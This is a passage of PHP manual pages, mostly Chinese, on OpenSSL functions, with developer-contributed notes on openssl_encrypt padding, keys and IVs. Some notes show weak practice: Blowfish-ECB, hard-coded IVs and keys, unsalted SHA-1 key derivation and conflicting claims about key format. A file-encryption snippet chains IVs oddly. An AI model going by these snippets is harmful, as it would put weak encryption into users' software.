            $data .= str_repeat("\x00",  8 - $m);
        if (function_exists('mcrypt_encrypt'))
            $val = mcrypt_encrypt(MCRYPT_BLOWFISH, $key, $data, MCRYPT_MODE_ECB);
        else
            $val = openssl_encrypt($data, 'BF-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_NO_PADDING);

        return $val;
    }

    function decrypt($data, $key)
    {
        $l = strlen($key);
        if ($l < 16)
            $key = str_repeat($key, ceil(16/$l));

        if (function_exists('mcrypt_encrypt'))
            $val = mcrypt_decrypt(MCRYPT_BLOWFISH, $key, $data, MCRYPT_MODE_ECB);
        else
            $val = openssl_decrypt($data, 'BF-ECB', $key, OPENSSL_RAW_DATA | OPENSSL_NO_PADDING);
        return $val;
    }

$data = 'my secret message';
$key = 'dontsay';

$c = encrypt($data, $key);
$d = decrypt($c, $key);
var_dump($c);
var_dump($d);
?>
Gives:

string(32) "SWBMedXJIxuA9FcMOqCqomk0E5nFq6wv"
string(24) "my secret message\000\000\000\000\000\000\000"
darek334 at gazeta dot pl 23-Mar-2017 12:07
To check if cipher uses IV use openssl_cipher_iv_length it returns length if exist, 0 if not, false if cipher is unknown.
naitsirch at e dot mail dot de 10-Nov-2016 11:52
PHP lacks a build-in function to encrypt and decrypt large files. `openssl_encrypt()` can be used to encrypt strings, but loading a huge file into memory is a bad idea.

So we have to write a userland function doing that. This example uses the symmetric AES-128-CBC algorithm to encrypt smaller chunks of a large file and writes them into another file.

# Encrypt Files

<?php
/**
 * Define the number of blocks that should be read from the source file for each chunk.
 * For 'AES-128-CBC' each block consist of 16 bytes.
 * So if we read 10,000 blocks we load 160kb into memory. You may adjust this value
 * to read/write shorter or longer chunks.
 */
define('FILE_ENCRYPTION_BLOCKS', 10000);

/**
 * Encrypt the passed file and saves the result in a new file with ".enc" as suffix.
 *
 * @param string $source Path to file that should be encrypted
 * @param string $key    The key used for the encryption
 * @param string $dest   File name where the encryped file should be written to.
 * @return string|false  Returns the file name that has been created or FALSE if an error occured
 */
function encryptFile($source, $key, $dest)
{
    $key = substr(sha1($key, true), 0, 16);
    $iv = openssl_random_pseudo_bytes(16);

    $error = false;
    if ($fpOut = fopen($dest, 'w')) {
        // Put the initialzation vector to the beginning of the file
        fwrite($fpOut, $iv);
        if ($fpIn = fopen($source, 'rb')) {
            while (!feof($fpIn)) {
                $plaintext = fread($fpIn, 16 * FILE_ENCRYPTION_BLOCKS);
                $ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
                // Use the first 16 bytes of the ciphertext as the next initialization vector
                $iv = substr($ciphertext, 0, 16);
                fwrite($fpOut, $ciphertext);
            }
            fclose($fpIn);
        } else {
            $error = true;
        }
        fclose($fpOut);
    } else {
        $error = true;
    }

    return $error ? false : $dest;
}
?>

# Decrypt Files

To decrypt files that have been encrypted with the above function you can use this function.

<?php
/**
 * Dencrypt the passed file and saves the result in a new file, removing the
 * last 4 characters from file name.
 *
 * @param string $source Path to file that should be decrypted
 * @param string $key    The key used for the decryption (must be the same as for encryption)
 * @param string $dest   File name where the decryped file should be written to.
 * @return string|false  Returns the file name that has been created or FALSE if an error occured
 */
function decryptFile($source, $key, $dest)
{
    $key = substr(sha1($key, true), 0, 16);

    $error = false;
    if ($fpOut = fopen($dest, 'w')) {
        if ($fpIn = fopen($source, 'rb')) {
            // Get the initialzation vector from the beginning of the file
            $iv = fread($fpIn, 16);
            while (!feof($fpIn)) {
                // we have to read one block more for decrypting than for encrypting
                $ciphertext = fread($fpIn, 16 * (FILE_ENCRYPTION_BLOCKS + 1));
                $plaintext = openssl_decrypt($ciphertext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
                // Use the first 16 bytes of the ciphertext as the next initialization vector
                $iv = substr($ciphertext, 0, 16);
                fwrite($fpOut, $plaintext);
            }
            fclose($fpIn);
        } else {
            $error = true;
        }
        fclose($fpOut);
    } else {
        $error = true;
    }

    return $error ? false : $dest;
}
?>

Source: http://stackoverflow.com/documentation/php/5794/cryptography/25499/
Kruthers 04-Oct-2016 07:37
There still seems to be some confusion about the "password" argument to this function.  It accepts a binary string for the key (ie. NOT encoded), at least for the cipher methods I tried (AES-128-CTR and AES-256-CTR).  One of the posts says you should hex encode the key (which is wrong), and some say you should hash the key but don't make it clear how to properly pass the hashed key.

Instead of the post made by anonymous, this should be more accurate info about the parameters:

data - BINARY string
method - regular string, from openssl_get_cipher_methods()
password - BINARY string (ie. the encryption key in binary)
options - integer (use the constants provided)
iv - BINARY string

This is not only from my testing, but backed up by the usage of this function by https://github.com/defuse/php-encryption
Nick 17-May-2016 09:09
There's a lot of confusion plus some false guidance here on the openssl library.

The basic tips are:

aes-256-ctr is arguably the best choice for cipher algorithm as of 2016. This avoids potential security issues (so-called padding oracle attacks) and bloat from algorithms that pad data to a certain block size. aes-256-gcm is preferable, but not usable until the openssl library is enhanced, which is due in PHP 7.1

Use different random data for the initialisation vector each time encryption is made with the same key. mcrypt_create_iv() is one choice for random data. AES uses 16 byte blocks, so you need 16 bytes for the iv.

Join the iv data to the encrypted result and extract the iv data again when decrypting.

Pass OPENSSL_RAW_DATA for the flags and encode the result if necessary after adding in the iv data.

Hash the chosen encryption key (the password parameter) using openssl_digest() with a hash function such as sha256, and use the hashed value for the password parameter.

There's a simple Cryptor class on GitHub called php-openssl-cryptor that demonstrates encryption/decryption and hashing with openssl, along with how to produce and consume the data in base64 and hex as well as binary. It should lay the foundations for better understanding and making effective use of openssl with PHP.

Hopefully it will help anyone looking to get started with this powerful library.
Geoff 12-Feb-2016 10:21
Contrary to some of the other comments here, I'm not certain that Password is indeed being improperly treated as the direct key.  I say this because I've been passing random text values into this parameter which would be invalid as hex input.  It seems to be hashing the password I provide, using what algorithm I do not know, because otherwise I'd expect it to throw an exception instead of working as expected.

That said, I'm using openssl_decrypt() to decrypt data that was only encrypted with openssl_encrypt().  I've not had to try to decrypt data where I do know for certain what the direct key is to know if I have an issue with bad pad blocks or any other exceptions which would indicate a key mismatch.
David 17-Nov-2015 09:07
Note, that if you don't specify the ...RAW_DATA  option, then you get a base64 encoded result.  I lost a few hours because my PHP didn't have the OPENSSL_RAW_DATA constant, and after I'd carefully base64 encoded the result, it just wasn't decoding...
Raphael 18-Jun-2015 07:55
Beware of the padding this method adds !

<?php
$encryption_key = openssl_random_pseudo_bytes(32);
$iv = openssl_random_pseudo_bytes(16);
$data = openssl_random_pseudo_bytes(32);

for ($i = 0; $i < 5; $i++) {
 $data = openssl_encrypt($data, 'aes-256-cbc', $encryption_key, OPENSSL_RAW_DATA, $iv);
 echo strlen($data) . "\n";
}
?>

With this sample the output will be:
48
64
80
96
112

This is because our $data is already taking all the block size, so the method is adding a new block which will contain only padded bytes.

The only solution that come to my mind to avoid this situation is to add the option OPENSSL_ZERO_PADDING along with the first one:
<?php
$data = openssl_encrypt($data, 'aes-256-cbc', $encryption_key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING, $iv);
?>

/!\ Be careful when using this option, be sure that you provide data that have already been padded or that takes already all the block size.
openssl at mailismagic dot com 02-May-2015 02:11
Since the $options are not documented, I'm going to clarify what they mean here in the comments.  Behind the scenes, in the source code for /ext/openssl/openssl.c:

    EVP_EncryptInit_ex(&cipher_ctx, NULL, NULL, key, (unsigned char *)iv);
    if (options & OPENSSL_ZERO_PADDING) {
        EVP_CIPHER_CTX_set_padding(&cipher_ctx, 0);
    }

And later:

        if (options & OPENSSL_RAW_DATA) {
            outbuf[outlen] = '\0';
            RETVAL_STRINGL((char *)outbuf, outlen, 0);
        } else {
            int base64_str_len;
            char *base64_str;

            base64_str = (char*)php_base64_encode(outbuf, outlen, &base64_str_len);
            efree(outbuf);
            RETVAL_STRINGL(base64_str, base64_str_len, 0);
        }

So as we can see here, OPENSSL_ZERO_PADDING has a direct impact on the OpenSSL context.  EVP_CIPHER_CTX_set_padding() enables or disables padding (enabled by default).  So, OPENSSL_ZERO_PADDING disables padding for the context, which means that you will have to manually apply your own padding out to the block size.  Without using OPENSSL_ZERO_PADDING, you will automatically get PKCS#7 padding.

OPENSSL_RAW_DATA does not affect the OpenSSL context but has an impact on the format of the data returned to the caller.  When OPENSSL_RAW_DATA is specified, the returned data is returned as-is.  When it is not specified, Base64 encoded data is returned to the caller.

Hope this saves someone a trip to the PHP source code to figure out what the $options do.  Pro developer tip:  Download and have a copy of the PHP source code locally so that, when the PHP documentation fails to live up to quality expectations, you can see what is actually happening behind the scenes.
Anonymous 28-Feb-2015 02:14
Just a couple of notes about the parameters:

data - It is interpreted as a binary string
method - Regular string, make sure you check openssl_get_cipher_methods() for a list of the ciphers available in your server*
password - As biohazard mentioned before, this is actually THE KEY! It should be in hex format.
options - As explained in the Parameters section
iv - Initialization Vector. Different than biohazard mentioned before, this should be a BINARY string. You should check for your particular implementation.

To verify the length/format of your IV, you can provide strings of different lengths and check the error log. For example, in PHP 5.5.9 (Ubuntu 14.04 LTS), providing a 32 byte hex string (which would represent a 16 byte binary IV) throws an error.
"IV passed is 32 bytes long which is longer than the 16 expected by the selected cipher" (cipher chosen was 'aes-256-cbc' which uses an IV of 128 bits, its block size).
Alternatively, you can use openssl_cipher_iv_length().

From the security standpoint, make sure you understand whether your IV needs to be random, secret or encrypted. Many times the IV can be non-secret but it has to be a cryptographically secure random number. Make sure you generate it with an appropriate function like openssl_random_pseudo_bytes(), not mt_rand().

*Note that the available cipher methods can differ between your dev server and your production server! They will depend on the installation and compilation options used for OpenSSL in your machine(s).
max 01-Aug-2012 02:35
Might be useful to people trying to use 'aes-256-cbc' cipher (and probably other cbc ciphers) in collaboration with other implementations of AES (C libs for example) that the openssl extension has a strict implementation regarding padding bytes. I found the solution only by manually going through the openssl source.

In C, you would want to pad plaintexts the following way (assuming all mem allocations are proper):

nPadding = ( 16 - ( bufferSize % 16 ) ) ? ( 16 - ( bufferSize % 16 ) ) : 16;
for( index = bufferSize; index < bufferSize + nPadding; index++ )
{
    plaintext[ index ] = (char)nPadding;
}

while decryptions are validated like:

isSuccess = TRUE;
for( index = bufferSize - 1; index > ( bufferSize - nPadding ); index-- )
{
    if( plaintext[ index ] != nPadding )
    {
        isSuccess = FALSE;
        break;
    }
}
decryptedSize = bufferSize - nPadding;

In plain english, the buffer must be padded up to blockSize. If the buffer is already a multiple of blockSize, you add an entire new blockSize bytes as padding.

The value of the padding bytes MUST be the number of padding bytes as a byte...

So 5 bytes of padding will result in the following bytes added at the end of the ciphertext:
[ 0x05 ][ 0x05 ][ 0x05 ][ 0x05 ][ 0x05 ]

Hope this saves someone else a few hours of their life.
kazaaknet at yahoo dot com 10-Jul-2012 05:23
Be advised there was a memory leak in this function: https://bugs.php.net/bug.php?id=54060.  I believe this got fixed in 5.3.6, but on production webservers running 5.3.5 with modest traffic, this became  a memory hemorrhage that brought my site down.  Look at mcrypt_encrypt instead.
Kukulkan 21-May-2012 03:39
PHP OpenSSL functions openssl_encrypt() and openssl_decrypt() seem to use PKCS5/7 style padding for all symmetric ciphers. Upon this, you can't use them to encrypt using null byte padding or to decrypt null byte padded data.

The developers of the wrapper forgot the padding scheme flags... :(
biohazard dot ge at gmail dot com 15-Jun-2011 06:48
Many users give up with handilng problem when openssl command line tool cant decrypt php openssl encrypted file which is encrypted with openssl_encrypt function.

For example how beginner is encrypting data:

<?php

$string = 'It works ? Or not it works ?';
$pass = '1234';
$method = 'aes128';

file_put_contents ('./file.encrypted', openssl_encrypt ($string, $method, $pass));

?>

And then how beginner is trying to decrypt data from command line:

# openssl enc -aes-128-cbc -d -in file.encrypted -pass pass:123

Or even if he/she determinates that openssl_encrypt output was base64 and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:123

Or even if he determinates that base64 encoded file is represented in one line and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -A -pass pass:123

Or even if he determinates that IV is needed and adds some string iv as encryption function`s fourth parameter and than adds hex representation of iv as parameter in openssl command line :

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:123 -iv -iv 31323334353637383132333435363738

Or even if he determinates that aes-128 password must be 128 bits there fore 16 bytes and sets $pass = '1234567812345678' and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:1234567812345678 -iv -iv 31323334353637383132333435363738

All these troubles will have no result in any case.

BECAUSE THE PASSWORD PARAMETER DOCUMENTED HERE IS NOT THE PASSWORD.

It means that the password parameter of the function is not the same string used as [-pass pass:] parameter with openssl cmd tool for file encryption decryption.

IT IS THE KEY !

And now how to correctly encrypt data with php openssl_encrypt and how to correctly decrypt it from openssl command line tool.

<?php

    function strtohex($x)
    {
        $s='';
        foreach (str_split($x) as $c) $s.=sprintf("%02X",ord($c));
        return($s);
    }

    $source = 'It works !';

    $iv = "1234567812345678";
    $pass = '1234567812345678';
    $method = 'aes-128-cbc';

    echo "\niv in hex to use: ".strtohex ($iv);
    echo "\nkey in hex to use: ".strtohex ($pass);
    echo "\n";

    file_put_contents ('./file.encrypted',openssl_encrypt ($source, $method, $pass, true, $iv));

    $exec = "openssl enc -".$method." -d -in file.encrypted -nosalt -nopad -K ".strtohex($pass)." -iv ".strtohex($iv);

    echo 'executing: '.$exec."\n\n";
    echo exec ($exec);
    echo "\n";

?>

IV and Key parameteres passed to openssl command line must be in hex representation of string.

The correct command for decrypting is:

# openssl enc -aes-128-cbc -d -in file.encrypted -nosalt -nopad -K 31323334353637383132333435363738 -iv 31323334353637383132333435363738

As it has no salt has no padding and by setting functions third parameter we have no more base64 encoded file to decode. The command will echo that it works...

: /
public at grik dot net 25-Dec-2009 09:54
The list of methods for this function can be obtained with openssl_get_cipher_methods();
The password can be encrypted with the openssl_private/public_encrypt()


返回 openSSL 错误消息

  • ? openssl_encrypt
  • openssl_free_key ?
  • PHP Manual
  • OpenSSL 函数
  • 返回 openSSL 错误消息

openssl_error_string

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_error_string — 返回 openSSL 错误消息

说明

openssl_error_string(): string|false

openssl_error_string() 从openSSL库返回最后一个错误。错误消息已被队列化，因此这个函数可以多次调用用来收集所有的信息。最后一个错误将是最近的一个。

参数

此函数没有参数。

返回值

成功，返回错误信息字符串，如果没有任何错误信息则返回 false。

示例

Example #1 openssl_error_string() example

<?php
// lets assume you just called an openssl function that failed
while ($msg = openssl_error_string())
echo $msg . "<br />\n";
?>

User Contributed Notes

Joey 12-Sep-2016 03:33
You need to do something like this to clear it:

while(openssl_error_string() !== false);

Some openssl functions will add errors to the list even if they succeed.
Richard Lynch 15-Jul-2013 07:34
Note that there may be two (or more) lines for one error.

Best to clear it out and read it for each openssl call.

PS
There are no "threads" and if the other library doesn't have enough sense to read (and therefore clear) the queue (errr, dequeue) of messages before and after their openssl calls...
A) That's their problem
B) Look for a new library, because NOT doing that means they aren't writing their code properly.


释放密钥资源

  • ? openssl_error_string
  • openssl_get_cert_locations ?
  • PHP Manual
  • OpenSSL 函数
  • 释放密钥资源

openssl_free_key

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_free_key — 释放密钥资源

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

openssl_free_key(OpenSSLAsymmetricKey $key): void

openssl_free_key() 从内存中释放和指定的 key 相关联的密钥。

参数

key

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | 此函数现已弃用，因为不再有效。
8.0.0 | key 现在接受 OpenSSLAsymmetricKey；之前接受类型 OpenSSL key 的 resource。

User Contributed Notes

CIIDMike[at]Bweb1dev3 24-Dec-2020 01:01
PHP 8.0 Deprecated:  Function openssl_free_key() is deprecated
Lawri van Bul 10-Nov-2017 11:05
I just checked the code for PHP 7.1 and in there openssl_free_key is an alias for opnessl_pkey_free (PHP_FALIAS).

This supports Richards assumption.

I would also suggest to not use the alias,
but use the openssl_pkey_free function in new code.

This is because it is more descriptive about what its intend is and is the same structure as similar function in the openssl section.
Richard Lynch 17-Jul-2013 03:44
openssl_free_key and openssl_pkey_free are probably aliases.

And the preferred one is probably openssl_pkey_free.


检索可用的证书位置

  • ? openssl_free_key
  • openssl_get_cipher_methods ?
  • PHP Manual
  • OpenSSL 函数
  • 检索可用的证书位置

openssl_get_cert_locations

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_get_cert_locations — 检索可用的证书位置

说明

openssl_get_cert_locations(): array

openssl_get_cert_locations() 返回一个数组，其中包含要搜索SSL证书的可用证书位置的信息。

参数

此函数没有参数。

返回值

返回一个带有可用证书位置信息的数组。

示例

Example #1 openssl_get_cert_locations() 范例

<?php
var_dump(openssl_get_cert_locations());
?>

以上示例会输出：

array(8) {
  ["default_cert_file"]=>
  string(21) "/usr/lib/ssl/cert.pem"
  ["default_cert_file_env"]=>
  string(13) "SSL_CERT_FILE"
  ["default_cert_dir"]=>
  string(18) "/usr/lib/ssl/certs"
  ["default_cert_dir_env"]=>
  string(12) "SSL_CERT_DIR"
  ["default_private_dir"]=>
  string(20) "/usr/lib/ssl/private"
  ["default_default_cert_area"]=>
  string(12) "/usr/lib/ssl"
  ["ini_cafile"]=>
  string(0) ""
  ["ini_capath"]=>
  string(0) ""
}

User Contributed Notes

There are no user contributed notes for this page.


获取可用的加密算法

  • ? openssl_get_cert_locations
  • openssl_get_curve_names ?
  • PHP Manual
  • OpenSSL 函数
  • 获取可用的加密算法

openssl_get_cipher_methods

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_get_cipher_methods — 获取可用的加密算法

说明

openssl_get_cipher_methods(bool $aliases = false): array

获取可用的加密算法的列表。

参数

aliases

如果密码别名应该包含在返回的array中，则设置为 true.

返回值

包含可用加密算法的array。 请注意：在 OpenSSL 1.1.1 版本之前，返回加密算法的拼法大小写都有； 从 OpenSSL 1.1.1 开始，统一只返回小写的形式。

示例

Example #1 openssl_get_cipher_methods() example

展示了哪些加密算法能被找到，哪些别名可用。

<?php
$ciphers = openssl_get_cipher_methods();
$ciphers_and_aliases = openssl_get_cipher_methods(true);
$cipher_aliases = array_diff($ciphers_and_aliases, $ciphers);

//ECB mode should be avoided
$ciphers = array_filter( $ciphers, function($n) { return stripos($n,"ecb")===FALSE; } );

//At least as early as Aug 2016, Openssl declared the following weak: RC2, RC4, DES, 3DES, MD5 based
$ciphers = array_filter( $ciphers, function($c) { return stripos($c,"des")===FALSE; } );
$ciphers = array_filter( $ciphers, function($c) { return stripos($c,"rc2")===FALSE; } );
$ciphers = array_filter( $ciphers, function($c) { return stripos($c,"rc4")===FALSE; } );
$ciphers = array_filter( $ciphers, function($c) { return stripos($c,"md5")===FALSE; } );
$cipher_aliases = array_filter($cipher_aliases,function($c) { return stripos($c,"des")===FALSE; } );
$cipher_aliases = array_filter($cipher_aliases,function($c) { return stripos($c,"rc2")===FALSE; } );

print_r($ciphers);
print_r($cipher_aliases);
?>

以上示例的输出类似于：

Array
(
    [0] => aes-128-cbc
    [1] => aes-128-cbc-hmac-sha1
    [2] => aes-128-cbc-hmac-sha256
    [3] => aes-128-ccm
    [4] => aes-128-cfb
    [5] => aes-128-cfb1
    [6] => aes-128-cfb8
    [7] => aes-128-ctr
    [9] => aes-128-gcm
    [10] => aes-128-ocb
    [11] => aes-128-ofb
    [12] => aes-128-xts
    [13] => aes-192-cbc
    [14] => aes-192-ccm
    [15] => aes-192-cfb
    [16] => aes-192-cfb1
    [17] => aes-192-cfb8
    [18] => aes-192-ctr
    [20] => aes-192-gcm
    [21] => aes-192-ocb
    [22] => aes-192-ofb
    [23] => aes-256-cbc
    [24] => aes-256-cbc-hmac-sha1
    [25] => aes-256-cbc-hmac-sha256
    [26] => aes-256-ccm
    [27] => aes-256-cfb
    [28] => aes-256-cfb1
    [29] => aes-256-cfb8
    [30] => aes-256-ctr
    [32] => aes-256-gcm
    [33] => aes-256-ocb
    [34] => aes-256-ofb
    [35] => aes-256-xts
    [36] => aria-128-cbc
    [37] => aria-128-ccm
    [38] => aria-128-cfb
    [39] => aria-128-cfb1
    [40] => aria-128-cfb8
    [41] => aria-128-ctr
    [43] => aria-128-gcm
    [44] => aria-128-ofb
    [45] => aria-192-cbc
    [46] => aria-192-ccm
    [47] => aria-192-cfb
    [48] => aria-192-cfb1
    [49] => aria-192-cfb8
    [50] => aria-192-ctr
    [52] => aria-192-gcm
    [53] => aria-192-ofb
    [54] => aria-256-cbc
    [55] => aria-256-ccm
    [56] => aria-256-cfb
    [57] => aria-256-cfb1
    [58] => aria-256-cfb8
    [59] => aria-256-ctr
    [61] => aria-256-gcm
    [62] => aria-256-ofb
    [63] => bf-cbc
    [64] => bf-cfb
    [66] => bf-ofb
    [67] => camellia-128-cbc
    [68] => camellia-128-cfb
    [69] => camellia-128-cfb1
    [70] => camellia-128-cfb8
    [71] => camellia-128-ctr
    [73] => camellia-128-ofb
    [74] => camellia-192-cbc
    [75] => camellia-192-cfb
    [76] => camellia-192-cfb1
    [77] => camellia-192-cfb8
    [78] => camellia-192-ctr
    [80] => camellia-192-ofb
    [81] => camellia-256-cbc
    [82] => camellia-256-cfb
    [83] => camellia-256-cfb1
    [84] => camellia-256-cfb8
    [85] => camellia-256-ctr
    [87] => camellia-256-ofb
    [88] => cast5-cbc
    [89] => cast5-cfb
    [91] => cast5-ofb
    [92] => chacha20
    [93] => chacha20-poly1305
    [111] => id-aes128-CCM
    [112] => id-aes128-GCM
    [113] => id-aes128-wrap
    [114] => id-aes128-wrap-pad
    [115] => id-aes192-CCM
    [116] => id-aes192-GCM
    [117] => id-aes192-wrap
    [118] => id-aes192-wrap-pad
    [119] => id-aes256-CCM
    [120] => id-aes256-GCM
    [121] => id-aes256-wrap
    [122] => id-aes256-wrap-pad
    [124] => idea-cbc
    [125] => idea-cfb
    [127] => idea-ofb
    [137] => seed-cbc
    [138] => seed-cfb
    [140] => seed-ofb
    [141] => sm4-cbc
    [142] => sm4-cfb
    [143] => sm4-ctr
    [145] => sm4-ofb
)
Array
(
    [36] => aes128
    [37] => aes128-wrap
    [38] => aes192
    [39] => aes192-wrap
    [40] => aes256
    [41] => aes256-wrap
    [69] => aria128
    [70] => aria192
    [71] => aria256
    [72] => bf
    [77] => blowfish
    [99] => camellia128
    [100] => camellia192
    [101] => camellia256
    [102] => cast
    [103] => cast-cbc
    [146] => idea
    [164] => seed
    [169] => sm4
)

参见

  • openssl_get_md_methods() - 获取可用的摘要算法

User Contributed Notes

There are no user contributed notes for this page.


获得ECC的可用曲线名称列表

  • ? openssl_get_cipher_methods
  • openssl_get_md_methods ?
  • PHP Manual
  • OpenSSL 函数
  • 获得ECC的可用曲线名称列表

openssl_get_curve_names

(PHP 7 >= 7.1.0, PHP 8)

openssl_get_curve_names — 获得ECC的可用曲线名称列表

说明

openssl_get_curve_names(): array|false

获取用于公钥/私钥操作的椭圆曲线密码（ECC）中可用曲线名称的列表。两个最广泛的标准化/支持的曲线是 prime256v1（NIST P-256）和 secp384r1（NIST P-384）。

AES、RSA、DSA 和 ECC 密钥长度近似等值
AES Symmetric Keysize (Bits) | RSA and DSA Keysize (Bits) | ECC Keysize (Bits)
80 | 1024 | 160
112 | 2048 | 224
128 | 3072 | 256
192 | 7680 | 384
256 | 15360 | 512
» NIST 推荐使用的 ECC 曲线最少为 256 位。

参数

此函数没有参数。

返回值

有效曲线名称的 array， 或者在失败时返回 false。

示例

Example #1 openssl_get_curve_names() 示例

<?php
$curve_names = openssl_get_curve_names();
print_r($curve_names);
?>

以上示例的输出类似于：

Array
(
    [0] => secp112r1
    [1] => secp112r2
    [2] => secp128r1
    [3] => secp128r2
    [4] => secp160k1
    [5] => secp160r1
    [6] => secp160r2
    [7] => secp192k1
    [8] => secp224k1
    [9] => secp224r1
    [10] => secp256k1
    [11] => secp384r1
    [12] => secp521r1
    [13] => prime192v1
    [14] => prime192v2
    [15] => prime192v3
    [16] => prime239v1
    [17] => prime239v2
    [18] => prime239v3
    [19] => prime256v1
    [20] => sect113r1
    [21] => sect113r2
    [22] => sect131r1
    [23] => sect131r2
    [24] => sect163k1
    [25] => sect163r1
    [26] => sect163r2
    [27] => sect193r1
    [28] => sect193r2
    [29] => sect233k1
    [30] => sect233r1
    [31] => sect239k1
    [32] => sect283k1
    [33] => sect283r1
    [34] => sect409k1
    [35] => sect409r1
    [36] => sect571k1
    [37] => sect571r1
    [38] => c2pnb163v1
    [39] => c2pnb163v2
    [40] => c2pnb163v3
    [41] => c2pnb176v1
    [42] => c2tnb191v1
    [43] => c2tnb191v2
    [44] => c2tnb191v3
    [45] => c2pnb208w1
    [46] => c2tnb239v1
    [47] => c2tnb239v2
    [48] => c2tnb239v3
    [49] => c2pnb272w1
    [50] => c2pnb304w1
    [51] => c2tnb359v1
    [52] => c2pnb368w1
    [53] => c2tnb431r1
    [54] => wap-wsg-idm-ecid-wtls1
    [55] => wap-wsg-idm-ecid-wtls3
    [56] => wap-wsg-idm-ecid-wtls4
    [57] => wap-wsg-idm-ecid-wtls5
    [58] => wap-wsg-idm-ecid-wtls6
    [59] => wap-wsg-idm-ecid-wtls7
    [60] => wap-wsg-idm-ecid-wtls8
    [61] => wap-wsg-idm-ecid-wtls9
    [62] => wap-wsg-idm-ecid-wtls10
    [63] => wap-wsg-idm-ecid-wtls11
    [64] => wap-wsg-idm-ecid-wtls12
    [65] => Oakley-EC2N-3
    [66] => Oakley-EC2N-4
    [67] => brainpoolP160r1
    [68] => brainpoolP160t1
    [69] => brainpoolP192r1
    [70] => brainpoolP192t1
    [71] => brainpoolP224r1
    [72] => brainpoolP224t1
    [73] => brainpoolP256r1
    [74] => brainpoolP256t1
    [75] => brainpoolP320r1
    [76] => brainpoolP320t1
    [77] => brainpoolP384r1
    [78] => brainpoolP384t1
    [79] => brainpoolP512r1
    [80] => brainpoolP512t1
)

User Contributed Notes

There are no user contributed notes for this page.


获取可用的摘要算法

  • ? openssl_get_curve_names
  • openssl_get_privatekey ?
  • PHP Manual
  • OpenSSL 函数
  • 获取可用的摘要算法

openssl_get_md_methods

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_get_md_methods — 获取可用的摘要算法

说明

openssl_get_md_methods(bool $aliases = false): array

获取可用的摘要算法列表

参数

aliases

设置为 true 时，返回的array中将会包含摘要的别名.

返回值

含有可用摘要算法的数组

示例

Example #1 openssl_get_md_methods() 范例：

显示了可用的摘要，以及哪些别名可能是可用的。

<?php
$digests = openssl_get_md_methods();
$digests_and_aliases = openssl_get_md_methods(true);
$digest_aliases = array_diff($digests_and_aliases, $digests);

print_r($digests);

print_r($digest_aliases);

?>

以上示例的输出类似于：

Array
(
    [0] => DSA
    [1] => DSA-SHA
    [2] => MD2
    [3] => MD4
    [4] => MD5
    [5] => RIPEMD160
    [6] => SHA
    [7] => SHA1
    [8] => SHA224
    [9] => SHA256
    [10] => SHA384
    [11] => SHA512
    [12] => dsaEncryption
    [13] => dsaWithSHA
    [14] => ecdsa-with-SHA1
    [15] => md2
    [16] => md4
    [17] => md5
    [18] => ripemd160
    [19] => sha
    [20] => sha1
    [21] => sha224
    [22] => sha256
    [23] => sha384
    [24] => sha512
)
Array
(
    [2] => DSA-SHA1
    [3] => DSA-SHA1-old
    [4] => DSS1
    [9] => RSA-MD2
    [10] => RSA-MD4
    [11] => RSA-MD5
    [12] => RSA-RIPEMD160
    [13] => RSA-SHA
    [14] => RSA-SHA1
    [15] => RSA-SHA1-2
    [16] => RSA-SHA224
    [17] => RSA-SHA256
    [18] => RSA-SHA384
    [19] => RSA-SHA512
    [28] => dsaWithSHA1
    [29] => dss1
    [32] => md2WithRSAEncryption
    [34] => md4WithRSAEncryption
    [36] => md5WithRSAEncryption
    [37] => ripemd
    [39] => ripemd160WithRSA
    [40] => rmd160
    [43] => sha1WithRSAEncryption
    [45] => sha224WithRSAEncryption
    [47] => sha256WithRSAEncryption
    [49] => sha384WithRSAEncryption
    [51] => sha512WithRSAEncryption
    [52] => shaWithRSAEncryption
    [53] => ssl2-md5
    [54] => ssl3-md5
    [55] => ssl3-sha1
)

参见

  • openssl_digest() - 计算摘要
  • openssl_get_cipher_methods() - 获取可用的加密算法

User Contributed Notes

There are no user contributed notes for this page.


别名 openssl_pkey_get_private

  • ? openssl_get_md_methods
  • openssl_get_publickey ?
  • PHP Manual
  • OpenSSL 函数
  • 别名 openssl_pkey_get_private

openssl_get_privatekey

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_get_privatekey — 别名 openssl_pkey_get_private()

说明

此函数是该函数的别名： openssl_pkey_get_private().

User Contributed Notes

There are no user contributed notes for this page.


别名 openssl_pkey_get_public

  • ? openssl_get_privatekey
  • openssl_open ?
  • PHP Manual
  • OpenSSL 函数
  • 别名 openssl_pkey_get_public

openssl_get_publickey

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_get_publickey — 别名 openssl_pkey_get_public()

说明

此函数是该函数的别名： openssl_pkey_get_public().

User Contributed Notes

There are no user contributed notes for this page.


打开密封的数据

  • ? openssl_get_publickey
  • openssl_pbkdf2 ?
  • PHP Manual
  • OpenSSL 函数
  • 打开密封的数据

openssl_open

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_open — 打开密封的数据

说明

openssl_open(
string $data,
string &$output,
string $encrypted_key,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
string $cipher_algo,
?string $iv = null
): bool

openssl_open() 使用与密钥标识符 private_key 和信封密钥 encrypted_key 相关联的私钥打开（解密）data 数据, 使用解密后的数据填充 output。当数据被密封时，就生成了信封密钥且只能由一个特定的私钥使用。更多信息参见openssl_seal()。

参数

data

output

如果调用成功，则在这个参数中返回打开的数据。

encrypted_key

private_key

cipher_algo

加解密算法。

Caution

默认值（'RC4'）认为不安全。强烈建议明确指定安全密码方法。
